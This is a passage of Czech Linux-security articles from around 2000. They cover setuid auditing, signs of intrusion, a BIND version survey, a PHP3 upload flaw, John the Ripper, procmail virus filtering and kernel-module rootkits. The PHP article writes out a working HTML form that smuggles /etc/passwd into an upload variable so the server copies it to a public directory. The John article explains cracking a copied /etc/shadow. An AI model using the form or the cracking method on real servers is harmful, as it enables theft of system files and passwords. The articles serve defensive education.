snaží projekt lprng, podle distribuce redhat rawhide bude

nejspíš soucástí príští distribuce red hat. pokud je mi známo,

tak caldera ho již používá. pokud na vašem systému tiskárna

není, nebo nemá býti používána bežnými uživateli, setuid a

setgid bit mužete sundat, jinak ne.

/usr/bin/passwd - slouží k manipulaci s uživatelskými hesly.

pokud máte nejaké uživatele, setuid bit ponechte.

/usr/bin/procmail - procmail slouží k filtraci, trídení a

dorucování emailu do uživatelských mailboxu. na

sendmail-like systémech dorucování pošty je nutné, aby bežel s

pravomocemi roota a mel setuid bit. pokud váš pocítac poštu

nijak neprijímá, mužete setuid bit sundat. pokud používáte jako

mail server treba postfix, mužete setuid i setgid bit sundat,

pošta chodit bude. u qmailu si nejsem jist, ale pravdepodobne

mužete setuid/setgid bity taktéž odstranit ...

/usr/bin/{rcp,rlogin,rsh} - tyto potrebují setuid root,

aby mohli používat odchozí porty <1024. tyto služby byste

definitivne používat nemeli, odinstalujte je a plnohodnotne je

nahradte ssh a scp.

/usr/bin/sperl5.00503 - další z málo dokumentovaných

programu. reší bezpecnostní problém s kernely a setuid

skripty, nejaké staré info poskytuje CERT a predevším

manuálová stránka man perlsec (sekce security bugs). pokud

nepoužíváte žádné setuid perl skripty, nebo si nejste moc jisti,

setuid bit v klidu sundejte. pokud na serveru pobeží www

server apache s perl cgi-skripty a vaši www programátori si

zacnou stežovat, že jim nechodí cgicka, zkuste setuid bit

nastavit, muže to být tím ...

/usr/libexec/pt_chown - další program do sbírky 'nemáme

manuálovou stránku, hec'. nicméne po chvilce hledání najdeme

v souboru /usr/doc/glibc-2.1.3/INSTALL nejaké informace -

pokud používáte devptsfs nebo devfs (defaultne na red hatu),

tento program nepotrebujete. sundejte setuid bit. (nekteré

hodne staré ci exotické xterm-like programy mužou prestat

fungovat - sežente si jejich novejší verze. pokud vím, žádný

takový starý program na red hat 6.2 není).

/usr/sbin/sendmail - sendmail bez setuid root nefunguje a

uživatelé bez nej nebudou smet posílat poštu. pokud máte

uživatele, kterí budou používat poštu a presto se vám

(prirozene) nelíbí tento setuid bit, nainstalujte si postfix nebo

qmail jako mail server, jinak se setuid bitu nezbavíte.

/usr/sbin/traceroute - traceroute používá icmp a udp

pakety k testování sítové konektivity podobne jako ping, navíc

pomocí parametru ttl (time to live) umožní zjistit presnou

cestu, kud paket procházel (kterými routery). bežní uživatelé se

bez této vymoženosti obejdou, setuid bit mužete sundat (anebo

omezit na skupinu wheel).

/usr/sbin/userhelper - tento program

zjednodušuje/umožnuje prevážne uživatelum x window

systému zmenu hesla, startování sítových rozhraní a podobné

privilegované akce. nedoporucuji. sundat setuid bit, nebo lépe

odinstalovat. uživatelé se bez toho rozhodne obejdou.

/usr/sbin/usernetctl - umožnuje uživatelum startovat a

ukoncovat sítová rozhraní. rozhodne nevhodné pro

víceuživatelská prostredí, sundejte setuid bit (a taktéž setgid

bit z /sbin/netreport).

a jsme u konce. udelejte si seznam všech setuid/setgid

programu a pravidelne sledujte, zda nekteré nepribyly

(obvykle známka hacknutí systému, nebo upgradu). audit

samozrejme není kompletní - jak jsem zmínil v minulém díle,

nebezpecné nejsou jen root setuid programy, ale i setgid na

jiné skupiny. zkontrolujte je všechny, nastudujte jejich

dokumentaci a upravte si práva, kde nejsou setgid bity nutné

(ve vetšine prípadu nutné bohužel jsou).

rovnež nezapomente na programy, které jste si zkompilovávali

extra a které nejsou soucástí distribuce. nekdy cloveka

prekvapí, když zjistí, že treba emulátor xmame.x11 je setuid na

roota apod., pokud používáte dosemu, dovolte jej spouštet jen

urcité speciální skupine. setuid ssh (z balíku openssh) se jiste

verit dá (viz /usr/bin/rsh výše). pamatujte, že všechny setuid

programy, co se bežne distribuují, v minulosti mely rozlicné

problémy - vetšina z nich opakovane a ve velmi nedávné dobe.

taky se vám z toho seznamu tocí hlava? je to díky tomu, že red

hat chce do maximální možné a únosné míry ulehcit práci

zacátecníkum. tiše predpokládá, že zkušení (anebo alespon

informovaní) administrátori si vetšinu práv prizpusobí svým

požadavkum.

zdroje: vlastní zkušenosti, clánek jaye beala na

securityportal.com a emailová konference

linux-security@redhat.com.

jak zjistit že máte hacknutý pocítac?

díl 2.

 

 

v minulém díle (který lze najít zde) jsme se dozvedeli prvních

pár fíglu, které mohou ukazovat na prítomnost nežádoucího

vetrelce v pocítaci. dnes budeme, jak jinak, pokracovat.

tip 5: upravené ls

stejne jako ps, program urcený k výpisu procesu, bývá casto

patchovaný (rozumej upravený) príkaz ls tak, aby neukazoval

soubory patrící hackerovi. k odhalení tohoto nám muže opet

posloužit príkaz strace, který nám ukáže systémová volání

programu ls. stejne jako v predchozím prípade nám jde

zejména o volání open() na podezrelé soubory:

server# strace /bin/ls 2>&1 | grep open

open("/etc/ld.so.preload", O_RDONLY) = -1

open("/etc/ld.so.cache", O_RDONLY) = 3

open("/lib/libtermcap.so.2", O_RDONLY) = 3

open("/lib/libc.so.6", O_RDONLY) = 3

open("/usr/share/locale/locale.alias", O_RDONLY) = 3

open("/usr/share/locale/cs_CZ/LC_MESSAGES", O_RDONLY) = 3

open("/dev/null", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = -1

open("/tmp/.../ls_config", O_RDONLY) = 3

open(".", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = 3

je to jasné, soubor /tmp/.../ls_config by se otevírat nemel. neco

je špatne :)

nekolik úvah k patchlému ls a ps:

obcas se lze setkat s pozmenenými programy, které se nejdríve

forknou a podezrelé instrukce volá až nove vytvorený proces.

tím pádem by se v strace nic moc neobjevilo. my však víme, že

správné ps ani ls se neforkují, takže i samotná existence

volání vfork() ve výpisu ze strace nám napoví, že program

není v porádku.

dalším chytrým hackerským ofukem muže být ponechání

puvodního programu a zajištení, aby se místo nej volal jiný,

pomocí promenné $PATH, urcující prioritní cesty k

systémovým programum. takže si nezapomente zkontrolovat,

zda se spouští opravdu ten program, který chcete.

pokrocilejší z vás si mohou napsat vlastní testovací programy,

kterými zjistíte neporušenost programu ps a ls. ideje jsou

jednoduché: v prvním prípade porovnejte výstup programu ps

se skutecne existujícími procesy, které získáte výpisem

adresáre /proc. (musíte se vyrovnat s nekterými rychle

vznikajícími a zanikajícími procesy, ale to urcite zvládnete.

zkuste treba vytipované procesy sledovat vícekrát s urcitým

casovým odstupem.) v druhém prípade - pri zjištování

neporušenosti ls - lze zase využít treba príkazu echo *, který

vypíše obsah soucasného adresáre. pokud rekurzivne projdete

celý filesystem a porovnáte "echo *" s "ls -a .", mužete

zjistit, že ls vám nejaké soubory zatajuje.

tip 6: soubory s podezrelými názvy

bežnou praxí nekterých ne tak dobrých hackeru je ukrývat své

soubory do adresáru s "nenápadnými" názvy, jako jsou

napríklad tri tecky za sebou nebo samé mezery. což nám ovšem

opet usnadnuje život:

server# find / -name "* *" -print

/usr/doc/Czech HOWTO 1

/usr/doc/Czech HOWTO 2

/usr/include/ /h4x0r

server# find / -name "*...*" -print

/usr/include/.../an0th3r_h4x0r

tip 7: porty

pokud nemá hacker pozmeného nejakého daemona na pocítaci

skutecne bežícího, vetšinou si instaluje svuj 'standalone'

sítový backdoor. otestujte si tedy svuj pocítac pomocí

nejakého portskeneru, abyste vedeli, že neposlouchá neco

navíc. v našem príkladu použijeme nmap:

server# nmap -sS -p 1-65535 localhost

Starting nmap 2.53 (www.insecure.org/nmap/)

Interesting ports on localhost (127.0.0.1):

Port State Service

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

81/tcp open hosts2-ns

110/tcp open pop-3

143/tcp open imap2

3306/tcp open mysql

Nmap run completed

jaktože máme neco na portu 81, když žádný hosts2-ns

neprovozujeme? jak zjistíme, co ve skutecnosti na daném portu

poslouchá? krome triviální možnosti se k portu proste pripojit

mužeme použít toto (### jsou komentáre autora):

server# fuser 81/tcp

81/tcp: 1135

### na portu 81 poslouchá proces císlo 1135

server# ps auwx | grep 1135

root 1360 508 pts/4 S 17:32 0:00 grep 1135

server#

### podle ps žádný proces 1135 není. máte patchlé ps :)

server# cat /proc/1135/cmdline

./bindshell &

tak a je to. na portu 81 visí bindshell, program známý z

každého lepšího archivu hackerských nástroju.

 

malý ceský pruzkum velkého bindu

ívladimr vlach <mailto:vlada@seznam.cz> 11. 9. 2000 (11:45)


bind vetšinou patrí mezi ty služby linuxu, po kterých každý hacker doslova prahne. nebývá to ale z lásky pro jeho jméno, jak by se na první pohled mohlo zdát, ale predevším proto, že tento dns server v minulosti oplýval zajímavými nedostatky, které se samozrejme daly využít. potom už se administrátor systému nestací ani divit, k cemu všemu muže být jednotlivých nedokonalostí využito.

vzali jsme si tedy na mušku dns servery v našem ceském internetu, abychom se podívali jaké verze ceští administrátori používají. jako základ pro zjištování verzi bindu byl použit výpis domén z cz.nicu, který je dostupný na <ftp://ftp.eunet.cz>. celkový stažený výpis bylo potreba protrídit pouze na dns servery - bylo použitých nekolik zrucných hmatu a chvatu s príkazy cut a grep, které dokáží divy. prežvýkání souboru o velikosti asi 102mb bylo na linuxu jen otázkou casu.

nyní následovala složitejší a nárocnejší cást pri zjištování verzí - spojení se se serverem a vyžádání si jeho identifikace. tuto cást obstarala ulititka bindinfo, která je k dispozici na serveru rootshell.com <http://www.rootshell.com/>. ta mela za úkol zjistit bežící verzi bindu na serveru prostrednictvím dotazu iquery. každý nameserver tak byl robotem (skript napsaný v perlu) dotázán a výsledky uloženy do databáze pro efektivnejší vyhodnocování.

tímto zpusobem byly kontakotvány všechny dns servery, které se v ceském internetu používají pro vedení záznamu pro ceské domény druhého rádu. z výpisu byly odstraneny servery, které nepatrí do ceské domény .cz a tak se celkový pocet dotázaných serveru cinil 4282.

samozrejme, že ne všechny doménové servery používají bind a také nekteré beží na jiných než linux/unix systémech. z celkového poctu se nepodarilo u 1965 serveru zjistit verzi, což mohlo být zpusobeno i tím, že použitý nameserver neodpovídá na dotaz iquery (volba fake-iquery v konfigurcním souboru).

nyní se pojdme podívat na jednotlivé výsledky. evidentne nejpoužívanejší verze je 8.2.2, která je také nejaktuálnejší stabilní verzí - to zjevne ukazuje na pozitivní fakt, že vetšina administrátoru aktualizuje pravidelne. následuje o neco málo starší 8.1.2, která už není až tak bezproblémová. tretí místo zaujímá 4.9.7, která byla napríklad soucástí redhatu 5.2. na ctvrtém - bramborovém - míste se umístila historická verze 4.9.6 s mnoha chybami, jejíchž popis by vydal na celý clánek. na poslední prícce je opravdu starecek 4.9.3 (konkrétne 4.9.3-p1-plus-ca-98), který ukazuje na fakt, že v ceském internetu lze najít i opravdové mohykány - správci techto systému asi ani netuší, jak nahlas jim tiká tato casovaná bomba.

+----------------------+-------+

| bind verze | pocet |

+----------------------+-------+

| 4.9.7-rel[eunet-cz] | 1 |

| 8.1.1-ps1 | 1 |

| 8.1.2-sgi_fw | 1 |

| 8.2.1[eunet-cz]1 | 1 |

| 8.2.2-p5-noesw-vut | 1 |

| 8.2.2-rel-noesw | 1 |

| 8.2.3-t2b | 1 |

| 4.9.6 | 2 |

| 8.2.3-t6b | 2 |

| 8.1.1 | 6 |

| 8.2.3-t5b | 9 |

| 4.9.3-p1-plus-ca-98. | 12 |

| 4.9.7 | 16 |

| 4.9.7-t1b | 24 |

| 8.2.2-rel | 42 |

| 8.2 | 46 |

| 8.2.1 | 80 |

| 8.1.2-t3b | 100 |

| 4.9.6-rel | 105 |

| 4.9.7-rel | 164 |

| 8.2.2-p5-noesw | 190 |

| 8.1.2 | 293 |

| 8.2.2-p3 | 393 |

| 8.2.2-p5 | 875 |

+----------------------+-------+

další kolác demonstruje rozložení ceských domén mezi servery s verzemi rady 8.x a 4.x. samozrejme do grafu nemohly být zarazeny ty, které svoji identitu skrývají. graf jednoznacne ukazuje, že nejpoužívanejší je bind rady 8.x, který ukusuje 47.6% z velkého koláce.

celkove se ukazuje, že domény jsou v dobrých rukou. vetšina administrátoru aktualizuje, nekterí používají i betaverze, ale jsou i tací, kterí na to nehledí. konkrétne 105 použití bindu verze 4.9.6-rel, u kterého existuje mnoho ohlášených chyb, je smutné. dokonce server rootshell.com, který se zabývá ruznými návody a utilitkami pro hackování obsahuje úcinné nástroje na prolomení.

bohužel celý pruzkum byl veden na specifickou elitu nameserveru v cechách, které vetšinou spravují ti, kterí registrují domény pro své zákazníky. urcite bychom se dopracovali jiných výsledku pri dotázání všech doménových serveru a jsem presvedcen o tom, že by byly pouze horší , a to je jeden z duvodu proc hackování v cechách jen tak nevymre . príležitost delá zlodeje.

 

php - upload attack

michal sanger 19. 9. 2000 (10:31)

 

9. zaří se na securityfocus.com objevila zpráva o bezpečnostní díře v php. na to,

jaké škody může její využití způsobit, je podle mě v českých php konferencích (s

výjimkou konference na kgb.cz) poměrně klid. je tedy vhodné ukázat podstatu této

chyby a nastínit jak se případným ůtokům bránit. (o chybě včera informoval server

root.cz, bohužel však lehce nepřesně. jejich článek tvrdí, že nepoužíváte-li file

upload, jste v bezpečí. není to tak docela pravda. [poznámka redakce])

na úvod chci ještě poznamenat, že pracuji pouze s php3, o php4 vím velmi málo, ale

mám pocit, že jde spíše o systémovou chybu než chybu nejaké konkretní verze, takže

pochopení přikladu na php3 muže dát ideu o ošetření skriptu pod php4. chyba

spočívá v možnosti předhodit nechráněnému skriptu, zpracovávajícímu upload

souboru z html formuláře, cestu k souboru na serveru se kterým on příslušně naloží.

pracujme rovnou s příkladem. kostra html formuláře umožňující poslat na server

soubor vypadá zjednodušeně asi takto:

<form action=upload.php3 method=post>

...

<input type=file name="fotka">

...

<input type=submit value="poslat">

</form>

tímto definujeme formulář, který na skript upload.php3 mimo jiné odešle soubor,

zvolena metoda je post. php3 s tímto naloží následovně, do adresáře definovaném v

php3.ini direktivou upload_tmp_dir uloží přenesený soubor pod náhodným

jménem a toto jméno uloží do proměnné $fotka. následně vytvoří další 3 proměnné

- $fotka_name obsahujicí původní jméno souboru na disku klienta, $fotka_type

typ přenášeného souboru (text/plain, image/jpeg...) a $fotka_size obsahující údaj

o velikosti přeneseného souboru. skript upload.php3 bude ve zkratce obsahovat asi

toto:

# zkopírování souboru do podadresáře se stejným jménem jako měl

# klient na disku a ošetření pripadné kolize.

if(!file_exist("./img/".$fotka_name)) {

$ok = file_copy($fotka, "./img/".$fotka_name);

if($ok) echo "v pořádku zkopírováno.";

else echo "grr, problémy na serveru";

}

else echo "sorry tento soubor uz existuje a já ho neprepíšu";

teď tedy k chybě. pokud je skriptu předhozena proměnná ne jako soubor, ale jako

textový řetězec definujicí absolutní cestu k souboru na serveru, tedy například

$fotka = "/etc/passwd", a spolu s ní je ještě definována proměnná

$fotka_name pak skript provede tu nepříjemnost, že do adresáře ./img/ zkopíruje

vyžádaný soubor serveru. je jasné, že se nemusí definovat zbylé 2 proměnné, jelikož

v tomto skriptu na nic nejsou, stačí pouze "říct" jaký soubor chceme a do jakého se

má v podadresáři uložit. pochopitelně musi mít vyžádaný soubor právo na čtení pro

uid pod kterým běží php (nejčastěji nobody nebo httpd). na našem příkladu bychom

tedy udělali následující formulář:

form action=upload.php3 method=post>

<input type=hidden name="fotka" value="/etc/passwd">

<input type=hidden name="fotka_name" value="pretty_smilling.mtf">

<input type=submit value="poslat">

</form>

pak nám stačí si např. pomocí prohlížeče vyžádat soubor na adrese

http://server_path/img/pretty_smilling.mtf a víme, že máme o zabavu při

nocích stravených v superpočítačové laboratori postaráno. doufám, že už je vám

jasné, že tvrzení, že pokud na stránkách nepoužíváte formuláře pro upload souboru

vás dostatečně ochrání je zcela mylné. můžete být v situaci: 1) stránky na serveru

máte jedině vy. pak můžete být klidný, pokud žádný upload nevyužíváte nebo pokud

máte skripty ošetřeny. 2) na serveru je několik virtuálních domén, nebo webhosting

umožňující používat php3 skripty. pak vám hrozí značné nebezpečí. pokud není php

pro všechny nakonfigurováno na "safe_mode", není znemožněm upload

zakomentováním direktivy v php3.ini a nebo jen na jedněch stránkách je neošetřený

skript pro upload, pak jelikož si nepritel definuje absolutni cestu na serveru, může

být (pokud odhadne umístění vašeho webu na serveru) v ohrožení i váš web ať už

používáte uploadování nebo ne.

jak se tedy bránit? v prvnim případě je vše na vás. nahlédneme-li na podstatu chyby,

vidíme, že nežádoucí posílání dat se pozná tak, že proměnná $fotka_name není

vytvořena na serveru, ale je již poslána některou z metod post, get, cookie. php3 pro

každou metodu vytváří asociativní pole $http_metoda_vars, kam uloží všechny

proměnné a jejich hodnoty příslušnou metodou poslané. vytváření těchto polí se určí

v php3.ini direktivou track_vars, pokud nemáte možnost editovat php3.ini, lze pro

konkretní skript umožnit vytvoření těchto polí napsáním zcela na začátek stránky: .

pak nám již jednoduchý logický výraz: if($http_post_vars["$fotka_name"] !=

"" || $http_get_vars["$fotka_name"] != "" ||

$http_cookie_vars["$fotka_name"] != "") presně určí, jsou-li nám posílána

korektní či zakeřná data.

v druhém případě je to horší, vaše skripty si mužete chránit jak chcete, ale stačí

jeden lajdák a skrze něj si může někdo neopravněný stáhnout cokoliv. pak musí

přistoupit správce buď k zamezení uploadu jako takového (zaremováním direktivy v

php3.ini) nebo nastavením php3 do safe_mode (což je bohužel neověřená informace,

která se vyskytla na konferenci kgb.cz dedukcí proč tato chyba na onom serveru

"nefunguje"). jakkoliv je tato chyba relativně už známá, pár dobráků kteří se na

konferenci pochlubili úlovky dokázali, že mnoho serverů a uživatelů tuto chybu

značně podceňuje!

links:

securityfocus.com

php.cz

článek na root.cz

archiv konference php@kgb.cz

michal sanger

autor je studentem přf a fi masarykovy univerzity v brně

 

john the ripper

josef perutka 2. 11. 2000 (07:40)

 

john the ripper je výkonný nástroj sloužící k rozšifrování

záznamů z /etc/shadow. program vyžaduje ke své činnosti

/etc/shadow, který je vhodno doplnit osobními informacemi z

/etc/passwd. crackování johnem je zdlouhavá činnost, musí se

pouštět pokud možno na výkonném stroji, a crackne pouze

dostatečně slabá hesla.

john pracuje ve třech režimech. prvním režimem je single mód,

který si vezme z dodaného slitku /etc/shadow s /etc/passwd

osobní informace jako login name, jméno, telefon do práce,

adresu práce a podobné nesmysly, které tam stejně kulturně

paranoidní lidé nepíšou, a začne je používat jako slova ze

slovníku, přičemž na ně používá modifikační pravidla (která jsou

v tomto módu vždy zapnuta). je-li nějaké heslo uhodnuto, zkusí ho

i na ostatní účty, někdy se najdou i tak blbí uživatelé, že si dají

stejné heslo na víc účtů.

zkoušení stejného hesla na jiný účet neznamená prosté porovnání

zakryptovaných dat, protože tvůrci systému hesel tam přidali

takzvanou sůl, což je rozmítací dvanáctibitová informace, která je

typicky u různých uživatelů různá, takže se musí u každého

kryptovat, a ne že zakryptujeme heslo pepíček a výsledek

otestujeme proti všem řádkům /etc/shadow. to bychom crackování

johnem spláchli moc snadno. hesla bývají většínou zakódována

desem, někdy se používají i jiné šifry, john si typ šifry

automaticky detekuje. některé podrobnosti o formátu ukládání

hesel je možno nalézt v man crypt.

Šifra se počítá dlouho, to platí obzvlášť pro des, a john neumí

distribuovaný běh. distribuovat je samozřejmě možno do určité

míry ručně, rozdělením /etc/shadow na dvě půlky. nástroje na

distribuované crackování ovšem také existují, viz například

slurpie. vyplácí se johna kompilovat s co nejvíce optimalizačními

optiony. doporučuji přečíst si info gcc a invoking, optimize

options a našlapat na příkazovou řádku vše, co trochu dává smysl,

kromě predikce skoků, která u mého egcs-2.91.60 ještě nebyla

implementována. jednohodinová aplikace takto optimalizovaného

johna na procesor amd k6-2 400mhz, paměť 100mhz sdram 64mb

a desku fic va603+ s 1m l2 cache způsobila výstup značně

teplého vzduchu z větráku počítače a následné překvapení.

gécécéčko, které bylo puštěno po tomto zahoření spolu s johnem

padalo na signál číslo 11. jednoznačně to poukazovalo na přehřátí

procesoru, který přitom nebyl přetaktován. sundání krytu počítače

pomohlo. proto pozor na johna se standardními chladicími

systémy. solar designer si s optimalizací algoritmů zjevně dal

práci.

vzhledem k tomu, že john nejvíce počítá v procesoru a v l1

paměti, je jeho výkon dán interní rychlostí procesoru, nikoliv

brutalitou pamětí. na to myslete, až budete kupovat farmičku

zbrusu nových počítačů pro crackování hesel. k čemu se tato

hesla hodí? inu, někteří uživatelé jsou tak blbí, že si dávají stejné

heslo na více počítačích...

pravidla odvozování hesel ze slov fungují tak, že se slova ze

slovníku (což je metoda wordlist), nebo z osobních informací

(single), různě přesmykávají, zdvojují, ubírají a přidávají se

písmenka a číslice na začáteku, konci, různě uprostřed a podobně.

pravidla je možno si předefinovat v john.ini. v dokumentaci je

vysvětleno, jak se pravidla vyrábějí (na čtení jsou dost otřesná).

takže john postupně bere slova za slovníku a pro každé vyrobí

podle aktuálně probíraného pravidla heslo, a to pak zkusí.

třetí metoda, inkrementální, je založena na hrubé síle. vzhledem k

tomu, že by ale čistá hrubá síla nedoběhla a ještě nic nenašla, je

podpořena statistikou výskytu různých kombinací písmenek, takže

si john vymýšlí nejdříve ty nejpravděpodobnější kombinace a

jejich pravděpodobnost postupně klesá. nakonec vyčerpá

všechny, ale to trvá hrozně dlouho, takže pokud si zvolíme heslo

metodou cat /dev/random a najdi použitelné znaky, běžný

smrtelník nás johnem nedostane. pánové z cia nebo gru nás

samozřejmě dostanou, pouze to hodí do svého super-laundromatu,

ve kterém inkrementální mód doběhne na odmáčknutí.

pravidla lze u slovníkového režimu vypínat, hodí se to když máme

hodně velký slovník a hodně uživatelů se slabými hesly. vhodné

voluminózní slovníky jsou samozřejmě zdarma k disposici na

internetu.

pro fajnšmekry je tu i mód externí, kde se do souboru napíše

zdroják, který john zkompiluje a používá pro fantazírování hesel.

jedná se pouze o čyři funkce, každá dělá něco jiného v procesu

výroby hesel.

seženeme-li si někde /etc/shadow, pustíme na něj na delší dobu

rippera a uvidíme-li, jak slabá hesla si lidé dávají a jak snadné je

tato hesla lousknout, bude nám to snad už konečně dostatečnou

pobídkou pro to, abychom si hesla dávali kvalitní, tedy je

vymýšleli s rovnoměrným pravděpodobnostním rozdělením.

 

 

procmail security aneb udělejte přítrž

e-mailovým virům

jiří lorenz 22. 11. 2000 (12:05)

 

v dnešním více než aktuálním článku (už jste slyšeli o

Navidad.exe?) se dozvíme o hrozbách vůči e-mailovým

programům a o tom, co jako administrátoři linuxového

mailserveru proti nim můžeme udělat

a opět máme na scéně e-mailové viry určené pro microsoft

outlook, tentokrát se českou republikou prohání cosi jménem

NAVIDAD.EXE. napadeny byly prý například lidové noviny,

jakási nemocnice, magistrát v nejmenovaném městě. odhlédnu-li

od filozoficky-ideologického aspektu celé zaležitosti, kdy mě

fascinuje reálná existence a masové rozšíření takového vpravdě

kyberpunkového programu, který umožňuje pomocí kratičkého

kódu převzít kontrolu nad většinou stanic v obrovské síti (mé

anarchistické já tleská!), musím konstatovat, že podobných

problémů bohužel bude přibývat. microsoft vždy s křížkem po

funuse vydá patch na nějaký konkrétní virus, komplexního řešení

elementárních nedostatků v návrhu aplikací se ovšem asi

nedočkáme.

nejdříve se pustíme do trochy teorie: jaké rozeznáváme typy

útoků proti mailovým klientům? jednou možností je útok proti

vlastnostem programu, způsobený úmyslnou implementací

takové vlastnosti, která kromě jiných jiste zajímavých a

užitečných věcí umožňuje provádět i nepravosti. z praxe známý

konkrétní příklad je provádění nežádoucích instrukcí pomocí

skriptovacích funkcí jazyka HTML. v souvislosti s těmito útoky

lze doporučit vypnutí VŠECH skriptovacích funkcí v konfiguraci

programu.

dalším typem častého útoku proti mail klientům je útok proti

nedostatkům programu. od předchozího se liší tím, že využívají

neúmyslných chyb při programování. do této kategorie můžeme

řadit tradiční buffer overflow útok pomocí speciálně

formátovaných hlaviček mailu, běžný nejen u microsoft outlook,

ale například u populárního unixovského maileru pine, nebo různé

jiné možnosti nechtěného spuštění shell příkazů u mnoha

unixových programů.

třetí a zároveň ten nejznámější je útok proti uživateli - v praxi

nám známé trojské koně. ačkoliv může využívat některých

vlastností programu, například nedávno popsané schovávání

koncovek souborů v microsoft outlook, je to hlavně

psychologický útok, spočívající v přesvědčení neznalého

uživatele, aby sám o své vůli spustil program, obsahující

nežádoucí instrukce. do této kategorie patří většina mediálně

známých virů (nebo chcete-li wormů), jako Melissa, ILOVEYOU

a právě aktuální Navidad.exe.

nyní zpět k praxi: pokud však náš mailserver běží na linuxu a jako

lokální doručovatel pošty používáme procmail (běžné například u

sendmailu, konzultujte dokumentaci pokud používáte jiný MTA),

můžeme rozšiřování všech popsaných forem virů jednou provždy

zabránit nebo aspoň velmi omezit. stačí použít balík

procmail-security, který najdeme na server imperial security.

tento balík je v podstatě sadou konfiguračních příkazů pro

procmail, a umí následující věci:

úplné odmítání mailů obsahujících active content, buffer

overflow či podobné útoky

úplné odmítání mailů se specifikovanými přílohami. zakázané

přílohy můžeme určit pomocí wildcards a regulárních výrazů,

takže kromě obligátního happy??.exe můžeme vracet všechny .exe

soubory pomocí výrazu *.exe

přejmenování takových příloh, u kterých není pozitivně zjištěn

výskyt škodlivého obsahu, ale které by mohly takový obsah

potenciálně obsahovat. v praxi to znamená, že přiložený soubor s

názvem třeba Navidad.exe bude přejmenován na

Navidad.DEFANGED-exe, takže jej nebude možno spustit

prostým poklikáním na ikonku přílohy.

instalace je triviální. nejdříve si zkontrolujte, zda máte

nainstalován balík metamail, případně si jej instalujte. pak

vytvořte adresář /etc/procmail a soubor /etc/procmailrc,

pokud jej už nemáte. do adresáře /etc/procmail uložte soubory

html-trap.procmail a poisoned z archivu

procmail-sanitizer.tar.gz. do /etc/procmailrc vložte konfiguraci

uvedenou na stránce procmail sanitizeru, upravenou dle vašich

potřeb, a je hotovo.

 

nové trendy v hackování - hrátky s

kernelem

jiří lorenz 8. 1. 2001 (05:29)

 

dřív hacker získal roota, přeplácnul ps, netstat a ls,

nainstaloval sniffer a nějaký backdoor a tím to haslo. tato éra

pomalu a na hacknutých strojích se s podobnými věcmi

setkáváme čím dál míň. dneska letí kernel moduly.

předně bych se chtěl omluvit hnidopichům za nepřesný titulek

"nové trendy". je to přece jen už nějaký pátek, kdy se poprvé

objevily hackerské kernel moduly. první zprávy o nich začaly

prosakovat na veřejnost už před více než rokem, tehdy to však

byla doména pokročilých hackerů, kterých zas tolik nebylo, a

kteří si své programy nechávali pro sebe. teprve se zveřejněním

prvních pořádně funkčních kernel modulů se objevuje tento nový

trend v běžné praxi. minulý týden diskutovaný anti-hack balík od

firmy I.CZ například naznačuje, že modifikace kernelu používá

(používala?) také binary.division.

nejdříve o co jde: mezi jedny z nejdůležitějších nástrojů

administrátora při analýze potenciálně hacknutého systému patří

ps (výpis běžících procesů), ls (výpis souborů na disku) a netstat

(výpis síťových spojení). tyto programy nedělají nic jiného, než

že se pomocí takzvaných systémových volání zeptají jádra

systému - kernelu, a ten jim vrátí potřebná data. program si je

přebere, naformátuje do úhledných výpisů a vypíše na obrazovku.

a teď: co dělat, chce-li se hacker skrýt? nejjednodušší bylo

pozměnit inkriminované programy, aby nevypisovaly to, co

nechce. takové pozměněné ("patchnuté") ps se zeptá kernelu na

existující procesy, kernel mu vrátí správná data, ps zatají procesy

hackera a vypíše administrátorovi jen ty běžné.

zajímavé je, že tento způsob skrývání hackerům vycházel mnoho

let. teprve před pár lety začali administrátoři používat poměrně

účinnou protizbraň: přestali spoléhat na systémové programy a

ptali se kernelu sami prostřednictvím svých vlastních utilit. (i my

jsme v našich článcích o analýze systému nabádali k porovnání

výpisu programu ps a přímého výpisu procesů přes /proc,

vzpomínáte?)

teď se konečně dostáváme k tomu podstatnému. aby admini

neviděli naše věci, změnili jsme programy získávající data z

kernelu. admini je obešli a napsali si vlastní programy, které se

samy ptaly kernelu. logickým krokem budiž - modifikace

samotného kernelu.

jak na to? existuje několik cest, v tomto článku se zmíníme pouze

o jedné, o loadable kernel modulech (LKM), což jsou

zjednodušeně řečeno programy, které si může kernel za běhu

natáhnout a provádět. v praxi jsou jejich pomocí realizovány

například ovladače nejrůznějšího hardware, ale moduly umí

mnohem víc, a ne vše může být žádoucí. princip takového

zlomyslného modulu je poměrně jednoduchý: jakýmsi můstkem

mezi kernelem a user-space programy jsou systémová volání.

chceme-li otevřít soubor, zavoláme volání open() a kernel nám

soubor otevře. náš modul však může taková systémová volání

zachytit, kernel pak místo originálního open() provede naši

vlastní akci.

co s tím může hacker dělat? téměř všechno. například už

zmiňovaný výpis procesů - není třeba měnit program ps. náš

modul přesměruje volání výpisu procesů na vlastní funkci, která

před ze seznamu vyřadí ty, které mají zůstat ukryty. nebo skrývání

souborů - proč patchovat ls, když můžeme přesměrovat volání

výpisu souborů? a to jsou jen ty nejjednodušší příklady.

mimochodem, pokud se někdy objeví nějaké dokonalejší viry pro

linux, pravděpodobně půjdou touto cestou, protože přímé

hackování kernelu umožňuje dělat daleko zběsilejší věci než

jakýkoliv user-space program.

jak můžeme jako administrátoři chránit své mašiny? rozhodně to

není jednoduché. takový dobře napsaný modul se totiž umí i

skrývat, takže běžné věci jako lsmod nám nepomůžou. používat

kernel zkompilovaný bez podpory modulů je také k ničemu:

pokud má útočník přístup ke kernel memory, a to jako root má,

může měnit kernel za běhu. stejně jako u virů je nejlepší

prevence: mějte dobře zabezpečené servery a nespouštějte

neznámé programy. často to ovšem nestačí, co tedy dál? existují

programy, které umí vypsat moduly přímo z kernel memory (třeba

kstat). další pokročilejší metody ochrany jsou popsány v

dokumentech, na které odkazuji na konci článku. každopádně

kernel moduly způsobí adminům, kteří myslí jen na zastaralé

patchování user-space programů, ještě velké potíže.

odkazy:

(nearly) Complete Linux Loadable Kernel Modules

the definitive guide for hackers, virus coders and system

administrators

packetstorm archiv

výpis LKM z archivů packetstormu

s0ftpj.org tools

některé nástr

 

vyhlašujeme soutěž!

martin mačok 26. 1. 2001 (00:01)

 

underground.cz vyhlašuje soutež v hledání PHP bugů (anebo tzv. cross site scripting) na

českém a slovenském webu. přihlásit se může úplně každý. první tři, kteří najdou nejvíce

